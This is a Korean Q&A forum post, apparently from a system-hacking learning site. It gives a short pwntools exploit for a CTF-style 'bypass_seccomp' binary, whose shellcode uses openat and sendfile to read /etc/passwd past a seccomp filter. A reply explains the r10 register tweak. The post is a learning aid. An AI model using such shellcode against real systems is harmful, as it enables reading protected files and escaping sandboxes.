bypass_seccomp 익스플로잇 코드

from pwn import *
context.arch = 'x86_64'
p = process("./bypass_seccomp")
shellcode = shellcraft.openat(0, "/etc/passwd")
shellcode += 'mov r10, 0xffff'
shellcode += shellcraft.sendfile(1, 'rax', 0).replace("xor r10d, r10d","")
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))
p.interactive()

위 코드에서 "mov r10, 0xffff"는 어떤 의미인지 sendfile 뒤 replace("xor r10d, r10d", "")는 왜 쓰이는 건가요?

#시스템해킹 #공격기법 #seccomp
작성자 정보
답변 1
avatar
믕믕이부하
대표 업적 없음

r10이라는 레지스터에 0xffff 값을 넣는다는 의미이고, replace를 하는 이유는 자동으로 생성된 쉘코드에 r10 레지스터를 초기화하는 부분이 있어서 해당 부분을 없애주는 것으로 보입니다.

r10 레지스터를 건드리는 이유는 리눅스 호출 규약 상 시스템 콜에는 4번째 인자로 rcx 대신 r10 레지스터가 이용되기 때문일겁니다. 실제로 쉘코드를 분석해봐야 알겠지만 그냥 sendfile 함수의 4번째 인자인 count 값을 늘려주는 행위로 보이네요.

2022.05.18. 18:20
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기